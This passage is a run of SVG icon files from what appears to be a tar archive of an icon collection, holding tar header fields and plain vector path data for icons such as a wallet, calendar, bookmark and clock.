0-42.1-9.4-65.3-11.9-29.2-36-44.7-69.6-44.7h-89.7L296 55.8c5.4-5.4 5.4-14.3 0-19.8l-.1-.1c-2.7-2.5-6.2-3.9-9.8-3.9-3.8 0-7.3 1.4-9.9 4.1l-57.6 57.4c-4.2 4.2-6.5 9.8-6.5 15.7 0 5.9 2.3 11.3 6.5 15.5l59.6 59.4c2.6 2.6 6.1 4.1 9.9 4.1 3.7 0 7.3-1.4 9.9-4.1 2.6-2.6 4.1-6.1 4.1-9.9 0-3.7-1.4-7.3-4.1-9.9l-.1-.1-41.2-40.2H346c20.4 0 33.6 7.5 41.6 23.5 8.4 17 9.4 41.5 9.4 58.5v135.2c-15 2.8-28.7 10.5-39 21.9-11.6 12.9-18 29.5-18 46.9 0 38.6 31.4 70 70 70s70-31.4 70-70c0-17-6.2-33.3-17.3-46.1-9.9-11.3-23.2-19.1-37.7-22.3zM410 452c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42z"/></svg>collection/icon/svg/md-qr-scanner.svg000064400000000655151701353760013634 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M96 124.2c0-6.9 5.2-12.2 12.2-12.2H176V64h-66.8C75.7 64 48 90.7 48 124.2V192h48v-67.8zM403.6 64H336v48h67.2c6.9 0 12.8 5.2 12.8 12.2V192h48v-67.8c0-33.5-27-60.2-60.4-60.2zM416 386.8c0 6.9-5.2 12.2-12.2 12.2H336v49h67.8c33.5 0 60.2-27.7 60.2-61.2V320h-48v66.8zM108.2 399c-6.9 0-12.2-5.2-12.2-12.2V320H48v66.8c0 33.5 27.7 61.2 61.2 61.2H176v-49h-67.8z"/></svg>collection/icon/svg/ios-wallet.svg000064400000000470151701353760013240 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M404 160H108c-33.1 0-60 26.9-60 60v168c0 33.1 26.9 60 60 60h296c33.1 0 60-26.9 60-60V220c0-33.1-26.9-60-60-60zM342.9 65L108 110.9c-18 4-44 22.1-44 44.1 0 0 15-19 49-19h287v-20.5c0-12.6-5-28.7-13.9-37.6-11.3-11.3-27.5-16.2-43.2-12.9z"/></svg>collection/icon/svg/ios-arrow-dropup.svg000064400000001100151701353760014400 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M147.6 301.3c-7.5-7.5-7.5-19.8 0-27.3l95.7-95.4c7.3-7.3 19.1-7.5 26.6-.6l94.3 94c3.8 3.8 5.7 8.7 5.7 13.7 0 4.9-1.9 9.9-5.6 13.6-7.5 7.5-19.7 7.6-27.3 0l-81-79.8-81.1 81.9c-7.5 7.5-19.7 7.5-27.3-.1z"/><path d="M256 464c114.9 0 208-93.1 208-208S370.9 48 256 48 48 141.1 48 256s93.1 208 208 208zm0-32c-47 0-91.2-18.3-124.4-51.6C98.3 347.2 80 303 80 256s18.3-91.2 51.6-124.4C164.8 98.3 209 80 256 80s91.2 18.3 124.4 51.6C413.7 164.8 432 209 432 256s-18.3 91.2-51.6 124.4C347.2 413.7 303 432 256 432z"/></svg>collection/icon/svg/md-close-circle-outline.svg000064400000000756151701353760015606 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 90c44.3 0 86 17.3 117.4 48.6C404.7 170 422 211.7 422 256s-17.3 86-48.6 117.4C342 404.7 300.3 422 256 422s-86-17.3-117.4-48.6C107.3 342 90 300.3 90 256s17.3-86 48.6-117.4C170 107.3 211.7 90 256 90m0-42C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/><path d="M360 330.9L330.9 360 256 285.1 181.1 360 152 330.9l74.9-74.9-74.9-74.9 29.1-29.1 74.9 74.9 74.9-74.9 29.1 29.1-74.9 74.9z"/></svg>collection/icon/svg/logo-no-smoking.svg000064400000003054151701353760014200 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M360 256h16v48h-16zM112 304h129.6l-48-48H112z"/><path d="M364.5 60.1c-.4-.2-.7-.4-1-.6-10.9-6-22.5-10.7-34.4-14.8l-5.4-1.8C302.3 36.1 279.6 32 256 32 132.3 32 32 132.3 32 256c0 84.3 46.6 157.6 115.4 195.8.4.2.7.5 1.1.7 10.9 6 22.5 10.7 34.4 14.8l5.4 1.8c21.4 6.8 44 10.9 67.7 10.9 123.7 0 224-100.3 224-224 0-84.3-46.6-157.7-115.5-195.9zM256 426.4c-9.3 0-18.4-.9-27.2-2.4-9.8-1.6-19.3-4.1-28.5-7.3-1.9-.6-3.8-1.2-5.6-1.9-6.5-2.5-12.9-5.3-19-8.6-53.6-28.7-90.1-85.2-90.1-150.3 0-37.2 12.4-71.4 32.7-99.4l237.2 237.2c-28.1 20.3-62.3 32.7-99.5 32.7zm137.8-71L156.6 118.2c28-20.2 62.1-32.6 99.4-32.6 9.3 0 18.3.9 27.2 2.4 9.8 1.6 19.3 4.1 28.5 7.3 1.8.6 3.7 1.2 5.6 1.9 6.2 2.4 12.2 5 18 8.1 54.2 28.5 91.2 85.3 91.2 150.8-.1 37.2-12.5 71.3-32.7 99.3z"/><path d="M352 256h-34l34 34zM384 256h16v48h-16zM360.1 212.7c-8.8-4.1-22-5.7-45.6-5.7h-3.6c-12.7.1-15.9-.1-20-6.1-2.8-4.2-1-14.8 3.7-21.9 1.6-2.4 1.8-5.6.4-8.2-1.4-2.6-4.1-4.2-7-4.3-.1 0-9.4-.1-18.3-3.9-10.6-4.5-15.6-12.1-15.6-23.1 0-25.8 21.8-27.7 22.8-27.7v-16c-12 0-38.8 11-38.8 43.7 0 17.5 9 31 25.7 38 4.2 1.7 8.4 2.9 12 3.6-3.3 9.8-3.6 20.9 1.7 28.7 9 13.3 20.3 13.2 33.3 13.1h3.5c26.3 0 34.6 2.3 38.9 4.3 5.7 2.6 6.8 7.5 6.6 15.7v1h16v-1c0-7.1.3-22.8-15.7-30.2z"/><path d="M400 244c0-25.7-3-39.2-9.1-49.6C382.3 180 368.5 172 352 172h-17.4c2.9-8.3 5.4-19.8 3.5-30.9-3.2-18.8-19.1-30-43.1-30v16c21 0 26.1 9.1 27.4 16.7 2.5 14.5-6.8 32.1-6.9 32.3-1.4 2.5-1.3 5.5.1 7.9s4.1 3.9 6.9 3.9H352c10.9 0 19.4 4.9 25.1 14.6 3.1 5.3 6.9 13.5 6.9 41.4h16v.1z"/></svg>collection/icon/svg/ios-musical-note.svg000064400000000657151701353760014357 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M364.3 48.2c-4.7.9-118 24.1-122.2 24.9-4.2.8-8.1 3.6-8.1 8v255.1c0 1.6-.1 7.2-2.4 11.7-3.1 5.9-8.5 10.2-16.1 12.7-3.3 1.1-7.8 2.1-13.1 3.3-24.1 5.4-64.4 14.6-64.4 51.8 0 30.1 21.7 44.5 35 47.1 5 1 11 1 13.8 1 8.2 0 36-3.3 51.2-13.2 11-7.2 24.1-21.4 24.1-47.8V173.1c0-3.8 2.7-7.1 6.4-7.8l92.8-19c7.4-1.5 12.8-8.1 12.8-15.7V55.8c-.1-4.3-3.8-8.8-9.8-7.6z"/></svg>collection/icon/svg/ios-albums.svg000064400000000652151701353760013235 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M460.9 161H51.1C31.8 161 16 176.8 16 196.1V428c0 19.3 15.8 35.1 35.1 35.1H461c19.3 0 35.1-15.8 35.1-35.1V196.1c-.1-19.3-15.9-35.1-35.2-35.1zM434 133H78c-7.7 0-14-6.3-14-14s6.3-14 14-14h356c7.7 0 14 6.3 14 14s-6.3 14-14 14zM403.2 77H108.8c-7 0-12.8-5.8-12.8-12.8v-2.4c0-7 5.8-12.8 12.8-12.8h294.4c7 0 12.8 5.8 12.8 12.8v2.4c0 7-5.8 12.8-12.8 12.8z"/></svg>collection/icon/svg/md-volume-off.svg000064400000001171151701353760013634 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405.5 256c0 22.717-4.883 44.362-13.603 63.855l31.88 31.88C439.283 323.33 448 290.653 448 256c0-93.256-64-172.254-149-192v44.978C361 127.632 405.5 186.882 405.5 256zM256 80.458l-51.021 52.48L256 183.957zM420.842 396.885L91.116 67.157l-24 24 90.499 90.413-8.28 10.43H64v128h85.334L256 431.543V280l94.915 94.686C335.795 387.443 318 397.213 299 403.022V448c31-7.172 58.996-22.163 82.315-42.809l39.61 39.693 24-24.043-24.002-24.039-.081.083z"/><path d="M352.188 256c0-38.399-21.188-72.407-53.188-88.863v59.82l50.801 50.801A100.596 100.596 0 0 0 352.188 256z"/></svg>collection/icon/svg/md-bed.svg000064400000000426151701353760012311 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M168.7 264.5c29 0 52.4-22.9 52.4-51.2s-23.4-51.2-52.4-51.2-52.4 22.9-52.4 51.2 23.5 51.2 52.4 51.2zm209.5-102.4H238.5v119.5H98.9V128H64v256h34.9v-51.2h314.2V384H448V230.4c0-37.7-31.2-68.3-69.8-68.3z"/></svg>collection/icon/svg/ios-reorder.svg000064400000000206151701353760013407 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M80 304h352v16H80zM80 248h352v16H80zM80 192h352v16H80z"/></svg>collection/icon/svg/logo-angular.svg000064400000000374151701353760013552 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M213.573 256h84.846l-42.427-89.356z"/><path d="M255.981 32L32 112l46.12 272L256 480l177.75-96L480 112 255.981 32zM344 352l-26.589-56H194.584L168 352h-40L256 72l128 280h-40z"/></svg>collection/icon/svg/md-tablet-portrait.svg000064400000000466151701353760014700 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M392 32H120c-13.3 0-24 10.7-24 24v400c0 13.3 10.7 24 24 24h272c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24zm-8 384H128V80h256v336zm-128 46c-7.7 0-14-6.5-14-14.1 0-7.5 6.2-14 14-14 7.7 0 14.1 6.4 14.1 14-.1 7.6-6.4 14.1-14.1 14.1z"/></svg>collection/icon/svg/md-eye-off.svg000064400000001255151701353760013112 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256.1 144.8c56.2 0 101.9 45.3 101.9 101.1 0 13.1-2.6 25.5-7.3 37l59.5 59c30.8-25.5 55-58.4 69.9-96-35.3-88.7-122.3-151.6-224.2-151.6-28.5 0-55.8 5.1-81.1 14.1l44 43.7c11.6-4.6 24.1-7.3 37.3-7.3zM52.4 89.7l46.5 46.1 9.4 9.3c-33.9 26-60.4 60.8-76.3 100.8 35.2 88.7 122.2 151.6 224.1 151.6 31.6 0 61.7-6.1 89.2-17l8.6 8.5 59.7 59 25.9-25.7L78.2 64 52.4 89.7zM165 201.4l31.6 31.3c-1 4.2-1.6 8.7-1.6 13.1 0 33.5 27.3 60.6 61.1 60.6 4.5 0 9-.6 13.2-1.6l31.6 31.3c-13.6 6.7-28.7 10.7-44.8 10.7-56.2 0-101.9-45.3-101.9-101.1 0-15.8 4.1-30.7 10.8-44.3zm87.8-15.7l64.2 63.7.4-3.2c0-33.5-27.3-60.6-61.1-60.6l-3.5.1z"/></svg>collection/icon/svg/md-chatboxes.svg000064400000000713151701353760013536 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M391.553 64H57.607C53.131 64 48 67.745 48 72.159v214.217c0 4.413 5.131 8.624 9.607 8.624H115v88.894L205.128 295h186.425c4.477 0 7.447-4.211 7.447-8.624V72.159c0-4.414-2.971-8.159-7.447-8.159z"/><path d="M456.396 127H424v166.57c0 15.987-6.915 26.43-25.152 26.43H218.096l-38.905 39h129.688L399 448v-89h57.396c4.478 0 7.604-4.262 7.604-8.682V136.103c0-4.414-3.126-9.103-7.604-9.103z"/></svg>collection/icon/svg/ios-help-circle-outline.svg000064400000001261151701353760015613 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 76c48.1 0 93.3 18.7 127.3 52.7S436 207.9 436 256s-18.7 93.3-52.7 127.3S304.1 436 256 436c-48.1 0-93.3-18.7-127.3-52.7S76 304.1 76 256s18.7-93.3 52.7-127.3S207.9 76 256 76m0-28C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/><path d="M256.7 160c37.5 0 63.3 20.8 63.3 50.7 0 19.8-9.6 33.5-28.1 44.4-17.4 10.1-23.3 17.5-23.3 30.3v7.9h-34.7l-.3-8.6c-1.7-20.6 5.5-33.4 23.6-44 16.9-10.1 24-16.5 24-28.9s-12-21.5-26.9-21.5c-15.1 0-26 9.8-26.8 24.6H192c.7-32.2 24.5-54.9 64.7-54.9zm-26.3 171.4c0-11.5 9.6-20.6 21.4-20.6 11.9 0 21.5 9 21.5 20.6s-9.6 20.6-21.5 20.6-21.4-9-21.4-20.6z"/></svg>collection/icon/svg/ios-calendar.svg000064400000000716151701353760013524 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M424 96h-40v24c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V96H160v24c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V96H88c-22 0-40 18-40 40v272c0 22 18 40 40 40h336c22 0 40-18 40-40V136c0-22-18-40-40-40zm8 300c0 11-9 20-20 20H100c-11 0-20-9-20-20V216c0-4.4 3.6-8 8-8h336c4.4 0 8 3.6 8 8v180zM160 72c0-4.4-3.6-8-8-8h-16c-4.4 0-8 3.6-8 8v24h32V72zM384 72c0-4.4-3.6-8-8-8h-16c-4.4 0-8 3.6-8 8v24h32V72z"/></svg>collection/icon/svg/md-save.svg000064400000000454151701353760012516 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M362.7 64h-256C83 64 64 83.2 64 106.7v298.7c0 23.5 19 42.7 42.7 42.7h298.7c23.5 0 42.7-19.2 42.7-42.7v-256L362.7 64zM256 405.3c-35.4 0-64-28.6-64-64s28.6-64 64-64 64 28.6 64 64-28.6 64-64 64zM320 192H106.7v-85.3H320V192z"/></svg>collection/icon/svg/md-bookmarks.svg000064400000000663151701353760013552 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405.2 64h-21c15 5.7 22.8 20.6 22.8 42.7v298.7c0 22.1-7 37.3-22.8 42.7h21c23.7 0 42.8-19.2 42.8-42.7V106.7c0-23.5-19.1-42.7-42.8-42.7zM345.5 64.2c-1.4-.1-2.8-.2-4.2-.2H106.7C83.2 64 64 83.2 64 106.7v298.7c0 23.5 19.2 42.7 42.7 42.7h234.7c1.4 0 2.8-.1 4.2-.2 21.5-2.1 38.5-20.4 38.5-42.5V106.7c-.1-22.1-17.1-40.4-38.6-42.5zM208 256l-56-32-56 32V96h112v160z"/></svg>collection/icon/svg/md-quote.svg000064400000000264151701353760012714 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M96.4 416h77.1l50.9-96.6V96h-160v223.4h77.1L96.4 416zm224 0h77.1l50-96.6V96H288.4v223.4h82l-50 96.6z"/></svg>collection/icon/svg/ios-locate.svg000064400000001422151701353760013215 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M395.3 259c-.3-1.2-.4-2.4-.3-3.6 0-.8.2-1.6.3-2.4-.4.9-.6 2-.6 3 .1 1.1.3 2.1.6 3z"/><path d="M459.4 270H409c-6.7 0-12.3-4.7-13.7-11-.3-.9-.5-1.9-.5-3s.2-2.1.6-3c1.4-6.4 7.3-11 14.1-11h49.9c2.4 0 4.2-2 4-4.4-8.8-100.3-88.7-180.2-189-189-2.3-.2-4.4 1.6-4.4 4V103c0 7.9-6.6 14.3-14.6 14-7.6-.3-13.4-6.9-13.4-14.4v-50c0-2.4-2-4.2-4.4-4-100.3 8.8-180.2 88.7-189 189-.2 2.3 1.6 4.4 4 4.4H103c7.9 0 14.3 6.6 14 14.6-.3 7.6-6.9 13.4-14.4 13.4h-50c-2.4 0-4.2 2-4 4.4 8.8 100.3 88.7 180.2 189 189 2.3.2 4.4-1.6 4.4-4V409c0-7.9 6.6-14.3 14.6-14 7.6.3 13.4 6.9 13.4 14.4v49.9c0 2.4 2 4.2 4.4 4 100.3-8.8 180.2-88.7 189-189 .2-2.3-1.7-4.3-4-4.3zM256 326c-38.7 0-70-31.3-70-70s31.3-70 70-70 70 31.3 70 70-31.3 70-70 70z"/></svg>collection/icon/svg/ios-color-filter.svg000064400000003273151701353760014355 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M442 248.9c-15.7-20.6-37.7-35.9-62.1-43.6 1-6.3 1.4-12.7 1.4-19.1 0-33.7-13-65.4-36.7-89.2C321 73.1 289.5 60 256 60s-65 13.1-88.6 37c-23.7 23.8-36.7 55.5-36.7 89.2 0 6.4.5 12.8 1.4 19.1-24.5 7.7-46.4 23.1-62.1 43.6-17 22.2-26 48.8-26 76.9 0 33.7 13 65.4 36.7 89.2 23.7 23.8 55.2 37 88.6 37 32.6 0 63.2-12.4 86.7-35 23.4 22.6 54.1 35 86.7 35 33.5 0 65-13.1 88.6-37 23.7-23.8 36.7-55.5 36.7-89.2 0-28.1-9-54.7-26-76.9zM256 85.5c55.1 0 100 45.2 100 100.7 0 4.7-.3 9.4-1 14.1-4.1-.4-8.2-.6-12.4-.6-32.6 0-63.2 12.4-86.7 35-23.4-22.6-54.1-35-86.7-35-4.1 0-8.3.2-12.4.6-.6-4.6-1-9.4-1-14.1.2-55.6 45.1-100.7 100.2-100.7zm0 201.4c-1.8 0-3.7-.1-5.5-.2 1.6-3.8 3.4-7.5 5.5-11.1 2.1 3.6 3.9 7.3 5.5 11.1-1.8.2-3.7.2-5.5.2zm-46.6 131.2c-12.7 5.6-26.1 8.4-40.1 8.4-55.1 0-100-45.2-100-100.7 0-22.3 7.1-43.5 20.6-61.2 12.3-16.1 29.4-28.3 48.5-34.6 6.6 17.9 17.3 34.3 31.2 47.6 13.9 13.4 30.9 23.4 49.2 29.1-1 6.3-1.4 12.7-1.4 19.1 0 25.8 7.7 50.6 22.2 71.7-8.8 8.7-19 15.6-30.2 20.6zM225.1 282c-27.6-9-50-29.8-61.3-56.7 1.8-.1 3.7-.2 5.5-.2 13.9 0 27.4 2.8 40.1 8.4 11.2 5 21.4 11.9 30.1 20.6-5.9 8.7-10.8 18-14.4 27.9zm30.9 94c-8.7-15.2-13.3-32.5-13.3-50.2 0-4.7.3-9.4 1-14.1a128.658 128.658 0 0 0 24.8 0c.6 4.6 1 9.4 1 14.1-.2 17.7-4.8 35-13.5 50.2zm46.6-142.5c12.7-5.6 26.1-8.4 40.1-8.4 1.8 0 3.7.1 5.5.2-11.3 26.9-33.7 47.7-61.3 56.7-3.6-9.8-8.5-19.2-14.4-27.9 8.7-8.7 18.9-15.6 30.1-20.6zm40.1 193c-13.9 0-27.4-2.8-40.1-8.4-11.2-5-21.4-11.9-30.1-20.6 14.5-21.1 22.2-45.8 22.2-71.7 0-6.4-.5-12.8-1.4-19.1 18.3-5.7 35.2-15.7 49.2-29.1 13.8-13.3 24.5-29.6 31.2-47.6 19.1 6.3 36.2 18.4 48.5 34.6 13.5 17.7 20.6 38.9 20.6 61.2-.1 55.6-45 100.7-100.1 100.7z"/></svg>collection/icon/svg/md-person-add.svg000064400000000434151701353760013612 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M304 256c52.805 0 96-43.201 96-96s-43.195-96-96-96-96 43.201-96 96 43.195 96 96 96zm0 48c-63.598 0-192 32.402-192 96v48h384v-48c0-63.598-128.402-96-192-96zM112 224v-64H80v64H16v32h64v64h32v-64h64v-32h-64z"/></svg>collection/icon/svg/ios-business.svg000064400000002604151701353760013604 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M146 80h220c9.9 0 18-8.1 18-18s-8.1-18-18-18H146c-9.9 0-18 8.1-18 18s8.1 18 18 18zM398 100H114c-9.9 0-18 8.1-18 18 0 9.3 6.9 17.1 16 18v300c0 13.2 10.8 24 24 24h88c4.4 0 8-3.6 8-8v-40c0-4.4 3.6-8 8-8h32c4.4 0 8 3.6 8 8v40c0 4.4 3.6 8 8 8h88c13.2 0 24-10.8 24-24V136c9.1-.9 16-8.7 16-18 0-9.9-8.1-18-18-18zM192 364c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm80 192c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm80 192c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16z"/></svg>collection/icon/svg/md-basketball.svg000064400000001425151701353760013663 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M191.6 272c-3.8 55-26.4 107.1-64.5 147.7 31.6 25 70.9 41 112.9 44.3V272h-48.4zM272 464c42-3.3 81.5-19.4 113.1-44.5-38-40.6-60.5-92.5-64.3-147.5H272v192zM240 48c-42 3.2-80.5 19-111.9 43.6 38 40.9 60.3 93.4 63.7 148.4H240V48zM320.7 240c3.4-55 25.6-107.4 63.5-148.3C352.7 67.1 314 51.2 272 48v192h48.7zM408.6 114.2c-17.2 18.5-30.7 39.7-40.1 62.9-8.2 20.2-13.1 40.9-14.6 62.9H464c-3.7-48-24.1-92.2-55.4-125.8zM368.5 333.1c9.6 23.7 23.3 45.1 40.9 63.8C440.3 363.4 460.3 320 464 272H354.1c1.6 21 6.5 41.5 14.4 61.1zM143.9 177.1c-9.5-23.3-23-44.5-40.3-63.1-31.4 33.6-51.9 78-55.6 126h110.5c-1.6-22-6.5-42.8-14.6-62.9zM102.7 397.1c17.7-18.8 31.5-40.3 41.1-64 8-19.6 12.8-40.1 14.5-61.1H48c3.7 48 23.8 91.6 54.7 125.1z"/></svg>collection/icon/svg/md-book.svg000064400000000467151701353760012516 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M426.2 80.4l-170.2 32-170.2-32C64 77 48 97.3 48 118v244.5c0 20.7 16 32.6 37.8 37.6L256 432l170.2-32c21.8-5 37.8-16.9 37.8-37.6V118c0-20.7-16-41-37.8-37.6zm0 282l-151.2 32V149.9l151.2-32v244.5zm-189.2 32l-151.2-32V118L237 150v244.4z"/></svg>collection/icon/svg/ios-person.svg000064400000001233151701353760013254 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M447.8 438.3c-7.2-31.8-48.3-47.3-62.5-52.3-15.6-5.5-37.8-6.8-52.1-10-8.2-1.8-20.1-6.3-24.1-11.1s-1.6-49.3-1.6-49.3 7.4-11.5 11.4-21.7c4-10.1 8.4-37.9 8.4-37.9s8.2 0 11.1-14.4c3.1-15.7 8-21.8 7.4-33.5-.6-11.5-6.9-11.2-6.9-11.2s6.1-16.7 6.8-51.3c.9-41.1-31.3-81.6-89.6-81.6-59.1 0-90.6 40.5-89.7 81.6.8 34.6 6.7 51.3 6.7 51.3s-6.3-.3-6.9 11.2c-.6 11.7 4.3 17.8 7.4 33.5 2.8 14.4 11.1 14.4 11.1 14.4s4.4 27.8 8.4 37.9c4 10.2 11.4 21.7 11.4 21.7s2.4 44.5-1.6 49.3c-4 4.8-15.9 9.3-24.1 11.1-14.3 3.2-36.5 4.5-52.1 10-14.2 5-55.3 20.5-62.5 52.3-1.1 5 2.7 9.7 7.9 9.7H440c5.1 0 8.9-4.7 7.8-9.7z"/></svg>collection/icon/svg/md-transgender.svg000064400000001061151701353760014067 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 32v35h63.1l-81.4 80.5c-7.5-7.2-13.2-11-13.2-11C302.2 123.6 280 116 256 116c-30.2 0-57.6 12-77.8 31.4l-15.2-15 31.4-31.4-28.5-28.5-31.5 31.5-37.5-37H160V32H32v128h35V91.3l40.3 39.9-31.2 31.2 28.5 28.5 31.4-31.4 19.4 19.2c-7.3 14.9-11.5 31.7-11.5 49.5 0 54.8 39.5 100.4 91.1 110.2v45.3h-63V424h63v56h42v-56h63v-40.2h-63v-45.3c50.8-9.9 91.2-55.5 91.2-110.3 0-17.7-4.2-34.8-11.5-49.6L445 91.3V160h35V32H352zm-96 258c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64z"/></svg>collection/icon/svg/md-outlet.svg000064400000001154151701353760013072 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M369.5 32H142.4C81.5 32 32 82.6 32 144.6v222.8c0 62 49.5 112.6 110.4 112.6h227.2c60.9 0 110.5-50.6 110.5-112.6V144.6C480 82.6 430.5 32 369.5 32zM175 251v.7c0 10.9-9.1 20.4-19.9 20.4h-23.3c-10.8 0-19.9-9.5-19.9-20.4V148.1c1-10.8 9.2-20.2 19.9-20.2h23.3c10.9 0 19.9 9.8 19.9 20.8V251zm122 147.4c0 11.4-8.9 17.6-20.1 17.6h-41.8c-11.2 0-20.1-8.1-20.1-19.6v-29.3c0-23.3 18.1-42.3 41-42.3s41 19 41 42.3v31.3zM400 251v.7c0 10.9-9.1 20.4-19.9 20.4h-24.3c-10.8 0-19.9-9.5-19.9-20.4V148.1c1-10.8 9.2-20.2 19.9-20.2h24.3c10.8 0 19.9 9.8 19.9 20.8V251z"/></svg>collection/icon/svg/md-close-circle.svg000064400000000576151701353760014131 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C140.559 48 48 140.559 48 256c0 115.436 92.559 208 208 208 115.435 0 208-92.564 208-208 0-115.441-92.564-208-208-208zm104.002 282.881l-29.12 29.117L256 285.117l-74.881 74.881-29.121-29.117L226.881 256l-74.883-74.881 29.121-29.116L256 226.881l74.881-74.878 29.12 29.116L285.119 256l74.883 74.881z"/></svg>collection/icon/svg/md-restaurant.svg000064400000000764151701353760013754 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M164.852 279.939l61.834-60.251L73.72 71.706c-33.626 32.764-33.626 86.677 0 119.44l91.132 88.793z"/><path d="M312.389 241.88c33.636 14.802 80.283 4.232 113.91-29.593 41.222-40.165 49.909-98.303 17.363-128.96-31.465-31.71-91.131-23.245-132.354 16.921-34.718 33.825-45.566 79.276-30.374 110.986-47.739 47.568-211.552 207.173-211.552 207.173L99.759 448l149.71-145.866L399.177 448l30.374-29.593-149.709-145.869 32.547-30.658z"/></svg>collection/icon/svg/logo-twitch.svg000064400000000351151701353760013416 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M80 32l-32 80v304h96v64h64l64-64h80l112-112V32H80zm336 256l-64 64h-96.001L192 416v-64h-80V80h304v208z"/><path d="M320 143h48v129h-48zM208 143h48v129h-48z"/></svg>collection/icon/svg/ios-clock.svg000064400000003121151701353760013037 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M403.1 108.9c-81.2-81.2-212.9-81.2-294.2 0-81.3 81.2-81.2 212.9 0 294.2 81.2 81.2 212.9 81.2 294.2 0 81.2-81.2 81.2-213 0-294.2zM89.6 263.8c-5.6 1.1-10.5-3.8-9.4-9.4.6-3.1 3.1-5.7 6.3-6.3 5.6-1.1 10.5 3.8 9.4 9.4-.6 3.2-3.2 5.7-6.3 6.3zm26.2 82.2c-4.3 3.7-11 1.9-12.8-3.5-1-3-.1-6.5 2.3-8.5 4.3-3.7 11-1.9 12.8 3.5 1 3 .1 6.4-2.3 8.5zm2.3-171.5c-1.9 5.4-8.5 7.2-12.8 3.5-2.4-2.1-3.3-5.5-2.3-8.5 1.9-5.4 8.5-7.2 12.8-3.5 2.4 2.1 3.3 5.5 2.3 8.5zM179.6 404c-1.9 